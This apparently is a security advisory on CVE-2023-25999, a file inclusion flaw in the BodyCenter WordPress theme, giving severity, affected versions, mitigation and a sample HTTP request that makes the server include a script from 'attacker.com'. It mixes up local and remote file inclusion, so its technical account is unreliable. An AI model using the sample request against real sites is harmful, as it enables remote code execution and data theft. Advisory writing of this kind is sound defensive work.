Overview
The vulnerability CVE-2023-25999 is a critical flaw found in the BodyCenter – Gym, Fitness WooCommerce WordPress Theme. This vulnerability is a PHP Local File Inclusion (LFI) flaw, which can lead to potential system compromise and data leakage. It affects all versions up to and including 2.4 of the BodyCenter theme. The seriousness of this vulnerability is reflected in its CVSS severity score of 8.1, marking it as a high-risk issue.
The vulnerability is particularly concerning due to the widespread use of WordPress and WooCommerce in the fitness industry, potentially putting a multitude of gym and fitness centers at risk. In the wrong hands, this exploit could lead to the compromise of sensitive customer data, including personal fitness plans, billing information, and personal contact details.
Vulnerability Summary
CVE ID: CVE-2023-25999
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
BodyCenter – Gym, Fitness WooCommerce WordPress Theme | Up to and including 2.4
How the Exploit Works
The PHP Remote File Inclusion vulnerability in the BodyCenter theme results from improper control of the filename for include/require statements in PHP. This allows an attacker to manipulate these statements and include files from remote servers, leading to a local file inclusion vulnerability. As a result, an attacker could execute arbitrary PHP code on the server, potentially leading to full system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability using a crafted HTTP request:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is manipulating the ‘page’ parameter in the URL to include a PHP file hosted on their server (`attacker.com`). The file `malicious_script.txt` contains malicious PHP code, which will be executed on the target server when the request is processed.
Mitigation
To mitigate this vulnerability, users are advised to apply the patch provided by the vendor as soon as possible. If unable to update immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability. However, this should only be considered as a stop-gap measure and not a full solution.